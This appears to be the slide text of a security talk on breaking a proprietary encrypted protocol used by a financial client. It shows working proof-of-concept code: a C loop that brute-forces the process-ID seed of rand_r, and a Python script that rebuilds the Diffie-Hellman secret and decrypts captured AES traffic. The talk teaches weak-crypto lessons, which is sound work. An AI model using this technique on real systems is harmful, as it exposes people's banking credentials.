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There’s worse than SSL
it’s hard to get a homebrew protocol right



Scenario

• Executable used as client for exchanging 

financial information
• (including on-line banking credentials)

• Server only available as a service
• (no executable)

• No source code available

• Proprietary protocol
• (allegedly encrypted)



Network traffic analysis

• Wireshark for capturing network traffic and 

stream reconstruction

• Flow tools for differential analysis 

https://github.com/silentsignal/flowtools

https://github.com/silentsignal/flowtools


Wireshark follow stream



Flow tools diff analysis



160 bits of randomness?

00 00 00 00  00 00 00 50  00 00 00 00  c6 14 68 e4  13 e0 78 34  .......P......h...x4
78 96 19 96  de f2 13 fb  1f 25 a5 a6  33 38 38 37  34 34 35 37  x........%..38874457
36 33 30 34  39 34 34 33  37 39 38 30  38 34 31 34  33 36 31 32  63049443798084143612
39 30 35 34  38 31 32 30  38 34 35 38  37 38 30 38  34 34 38 30  90548120845878084480
38 36 36 36  36 31 39 32  34 39 34 36  31 35 35 35  33 33 30 33  86666192494615553303
33 37 31 39  38 34 33 32  32 38 38 31                            371984322881

$ echo –n "3887445763049443798084143612905481208458780844808666619\
2494615553303371984322881" | sha1sum

c61468e413e0783478961996def213fb1f25a5a6 -



What we know so far

• Client sends two numbers

• Server sends one number

• Client sends one number

• This is followed by frames of 

n×16 bytes



What we can deduce

• Client sends two numbers

• Server sends one number

• Client sends one number

• Diffie-Hellman key exchange?

• This is followed by frames of 

n×16 bytes

• Matches AES block size!



Diffie-Hellman Key Exchange

• Alice and Bob agree to use a prime number p = 23 and base g = 5 (which is 

a primitive root modulo 23).

• Alice chooses a secret integer a = 6, then sends Bob A = ga mod p

• A = 56 mod 23 = 8

• Bob chooses a secret integer b = 15, then sends Alice B = gb mod p

• B = 515 mod 23 = 19

• Alice computes s = Ba mod p

• s = 196 mod 23 = 2

• Bob computes s = Ab mod p

• s = 815 mod 23 = 2

• Alice and Bob now share a secret (the number 2).

Source: https://en.wikipedia.org/wiki/Diffie-Hellman

https://en.wikipedia.org/wiki/Diffie-Hellman




Static binary analysis of client

• Find out if Diffie-Hellman is used

• Find out how the AES key is derived from DH secret

• Disassemble and partially decompile using reverse

https://github.com/joelpx/reverse

https://github.com/joelpx/reverse


System V AMD64 ABI

The calling convention of the System V AMD64 ABI is 

followed on Solaris, Linux, FreeBSD, Mac OS X, and 

other UNIX-like or POSIX-compliant operating systems. 

The first six integer or pointer arguments are passed in 

registers RDI, RSI, RDX, RCX, R8, and R9

Source: https://en.wikipedia.org/wiki/

X86_calling_conventions

#System_V_AMD64_ABI

https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI


Diffie-Hellman in practice



DH to Key Derivation



Key Derivation



Are we there yet?

• We managed to mount a MitM attack against 

the service – great, let’s go celebrate!

• What if we cannot modify the traffic?

• Diffie-Hellman key exchange is pretty robust

• Look for the weakest link

• Where do the DH

parameters

come from?



The source of DH parameters



DH Parameter Generator



Finding Nemo rand_r

$ ldd client
linux-vdso.so.1 (0x00007fffeabfd000)
libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007f52b1ac6000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f52b171d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f52b1518000)
/lib64/ld-linux-x86-64.so.2 (0x00007f52b1efa000)

$ file -L /lib/x86_64-linux-gnu/libc.so.6
/lib/x86_64-linux-gnu/libc.so.6: ELF 64-bit LSB shared object, x86-
64, version 1 (GNU/Linux), dynamically linked, interpreter 
/lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=bbd9e94c1a7dacf41f2785243900545dbd634a29, for 
GNU/Linux 2.6.32, stripped
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep rand_r
963: 0000000000038b50 80 FUNC    GLOBAL DEFAULT   12 
rand_r@@GLIBC_2.2.5



Dissecting rand_r



What we know so far

• Diffie-Hellman parameters are 

80 digit numbers
• Digits are filled from left to right using 

the least significant decimal digit of 

the return value of rand_r
• The seed is the OS process ID

• Getting the next number is fast

• There are 216 = 32 768 PIDs on a 

Linux system by default

• OpenSSL, anyone?

• If it starts with zero, replace with 1



Brute forcing the process ID
for (i = 0; i < 32768; i++) {

unsigned int seed = i;
for (j = 0; j < 80; j++) test(&seed);
for (j = 0; value[j]; j++) {

if (test(&seed) % 10 + '0' != value[j]) break;
}
if (!value[j]) printf("pid = %d\n", i);

}

unsigned int test(unsigned int *rdi) {
unsigned int eax, ecx, edx;
eax = *(rdi);
ecx = eax * 1103515245;
...
return eax;

}



Brute forcing the process ID
$ (nc -lp 7001 | hd) & ; sleep 1 ; ./client secretmessage &
[1] 8395
[2] 8399
00000000  00 00 00 00 00 00 00 50  00 00 00 00 6e 68 17 14  |.......P....nh..|                                               
00000010  88 a0 ca 84 e3 d6 15 f9  8b 19 4a 54 4f 5b a4 d5  |..........JTO[..|
00000020  32 33 34 38 32 34 38 37  39 34 30 35 39 36 35 32  |2348248794059652|
00000030  37 37 34 39 30 36 37 31  32 39 39 37 32 37 32 33  |7749067129972723|
00000040  39 38 38 37 34 39 39 30  39 39 37 37 37 30 35 39  |9887499099777059|
00000050  36 37 36 32 39 31 36 39  38 31 33 31 38 32 31 32  |6762916981318212|
00000060  30 36 30 31 38 35 35 39  39 33 35 34 37 35 30 35  |0601855993547505|

[1]  + 8395 suspended (tty input)  ( nc -lp 7001 | hd; )

$ time ./glibcrand 2348248794059652
pid = 8399
... 0,02s user 0,00s system 97% cpu 0,027 total



Dumping TCP PSH packets



Decrypting captured data

• Regenerate DH secret from OS PID value

• Read and dissect packets from PCAP

• Extract public DH params and encrypted data

• Derive AES key and decrypt payload

https://jon.oberheide.org/blog/2008/10/15/

dpkt-tutorial-2-parsing-a-pcap-file/

https://jon.oberheide.org/blog/2008/10/15/dpkt-tutorial-2-parsing-a-pcap-file/


Emulation in Python
seed = byref(c_uint(int(argv[1])))
test = cdll.LoadLibrary('./glibcrand.so').test

p = int(''.join(str(test(seed) % 10) for _ in xrange(80)))

tcps = [ethernet.Ethernet(buf).data.data for ts, buf
in pcap.Reader(file('/tmp/psh.pcap'))]

m = int(tcps[0].data[-80:])
s = int(tcps[2].data[-80:])

cs = pow(s, p, m)
key = unhexlify(str(cs)[:32])
print AES.new(key).decrypt(tcps[4].data[32:])



Emulation in Python

$ python params.py 8399 | hd
00000000  00 00 00 0a 0c 0c 0c 0c  0c 0c 0c 0c 0c 0c 0c 0c  |................|
00000010  93 c2 e6 a4 d2 32 9e ca  58 9e 26 97 44 1d 80 5f  |.....2..X.&.D.._|
00000020  67 6c 7a 3b ad e3 a3 b8  5e a6 d4 a5 4b 47 3f 4c  |glz;....^...KG?L|
00000030  6b 69 62 65 72 74 69 74  30 6b 06 06 06 06 06 06  |kibertit0k......|
00000040  af 70 03 a6 69 db be ca  73 21 86 65 8b ce 71 94  |.p..i...s!.e..q.|
00000050  13 49 d9 fa 60 68 17 3c  62 da 31 70 28 d8 0b b0  |.I..`h.<b.1p(...|
00000060  0a                                                |.|



Conclusion

• You do not roll your own crypto.

• You DO NOT roll you own crypto.

• Secure random is essential

• (can be tricky on the go and

in VMs or the cloud)

• Authentication is essential

• Security by obscurity doesn’t work







Thanks for your attention!


